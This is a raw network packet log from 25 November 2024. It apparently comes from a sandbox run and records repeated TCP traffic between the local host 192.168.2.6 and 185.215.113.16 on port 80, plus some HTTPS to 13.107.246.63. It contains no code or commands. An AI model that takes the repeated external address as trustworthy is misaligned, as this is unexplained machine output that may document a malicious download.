Nov 25, 2024 18:28:36.661628962 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.661670923 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.662240982 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.663032055 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.663045883 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.663084030 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.663173914 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.663790941 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.663856030 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.664223909 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.664552927 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.664565086 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.664597988 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.664608955 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.665272951 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.665384054 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.666037083 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.666088104 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.666173935 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.666851997 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.666894913 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.666918993 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.666958094 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.667555094 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.667773008 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.667823076 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.668340921 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.669112921 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.669125080 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.669136047 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.669157982 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.669182062 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.669898033 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.669909000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.669956923 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.670584917 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.716968060 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.769602060 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.769673109 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.769871950 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.770148039 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.770148039 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.770158052 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.770170927 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.772819996 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.772855043 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.772934914 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.773091078 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.773108959 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.804585934 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.804653883 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.804831028 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.805021048 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.805032969 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.805042982 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.805047035 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.807341099 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.807368040 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.807435036 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.807560921 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.807575941 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.810142040 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.810154915 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.810199022 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.810292959 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.810818911 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.810863018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.810866117 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.810874939 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.810909033 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.811599016 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.811645031 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.811702013 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.812330961 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.813164949 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.813179016 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.813190937 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.813219070 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.813239098 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.813880920 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.813958883 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.814049959 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.814614058 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.815349102 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.815412045 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.815442085 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.815453053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.815490007 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.816365004 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.816544056 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.816921949 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.816984892 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.817173004 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.817657948 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.817706108 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.818012953 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.818434000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.818480968 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.818595886 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.818634987 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.819185972 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.819299936 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.819349051 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.819952011 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.820015907 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.820066929 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.820722103 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.820928097 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.820971966 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.821475029 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.821603060 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.822079897 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.822235107 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.822599888 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.823043108 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.823092937 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.823323011 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.823818922 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.823831081 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.823888063 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.824594975 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.825323105 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.825335979 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.825349092 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.825373888 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.825397015 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.826090097 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.826880932 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.826893091 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.826950073 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.826972008 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.827163935 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.832145929 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.832273960 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.832323074 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.832416058 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.832427979 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.832458973 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.833103895 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.833961964 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.833976984 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.834011078 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.834069014 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.834745884 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.834786892 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.834800005 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.834829092 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.835480928 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.835494041 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.835545063 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.836158991 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.836198092 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.836257935 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.836848974 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.837471008 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.837795973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.837809086 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.837827921 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.837881088 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.838380098 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.838808060 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.838857889 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.839155912 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.839272976 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.839910984 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.839965105 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.840192080 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.840730906 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.840744972 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.840790033 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.841602087 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.841645002 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.841695070 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.842225075 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.842953920 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.842997074 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.843184948 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.843197107 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.843245983 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.843803883 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.843899012 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.843950987 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.844492912 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.844973087 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.845305920 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.845316887 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.845357895 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.845383883 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.846014023 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.846235991 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.846777916 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.846796989 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.846833944 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.847598076 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.847609997 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.847642899 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.847670078 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.848368883 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.848582029 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.848638058 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.849121094 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.849132061 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.849184990 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.849891901 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.849904060 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.849942923 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.850640059 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.851422071 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.851434946 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.851445913 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.851475954 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.851501942 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.852133036 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.852432966 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.852485895 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.852890968 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.853180885 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.853682041 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.853735924 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.853858948 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.853997946 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.042521000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.042587042 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.042648077 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.042967081 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.042979002 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.043035030 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.043682098 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.044002056 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.044114113 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.044487000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.044498920 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.044543982 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.045269966 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.045281887 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.045332909 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.045985937 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.046000004 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.046049118 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.046757936 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.046797991 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.046850920 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.047517061 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.047631025 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.047698975 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.048257113 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.048777103 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.048986912 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.049065113 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.049077034 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.049114943 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.049499035 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.049911022 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.050029039 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.050049067 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.050067902 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.050070047 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.050506115 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.050513029 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.050607920 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.051388979 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.051400900 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.051413059 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.051451921 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.051475048 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.052119017 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.052565098 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.052618027 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.052938938 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.052951097 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.052985907 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.053654909 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.054063082 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.054425955 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.054501057 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.054584980 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.055207968 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.055274963 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.055659056 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.056154966 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.056747913 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.056763887 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.056787014 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.056807995 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.056830883 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.057135105 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.057517052 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.057615042 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.057636976 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.057692051 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.057709932 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.058145046 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.058170080 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.058170080 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.058190107 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.058199883 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.058231115 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.058500051 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.058553934 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.059003115 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.059076071 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.059135914 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.059915066 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.059948921 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.060014963 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.060529947 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.060734987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.060734987 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.060772896 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.060786009 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.060862064 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.061053991 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.061067104 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.061408043 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.061522007 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.062058926 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.062083006 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.062141895 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.062190056 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.062870026 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.063005924 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.063052893 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.065095901 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.065166950 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.065179110 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.065191031 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.065228939 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.065253019 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.065377951 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.065393925 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.065428019 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.066287041 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.066447973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.066493988 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.066946983 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.067063093 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.067109108 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.067389965 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.067487955 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.068226099 CET	80	49752	185.215.113.16	192.168.2.6
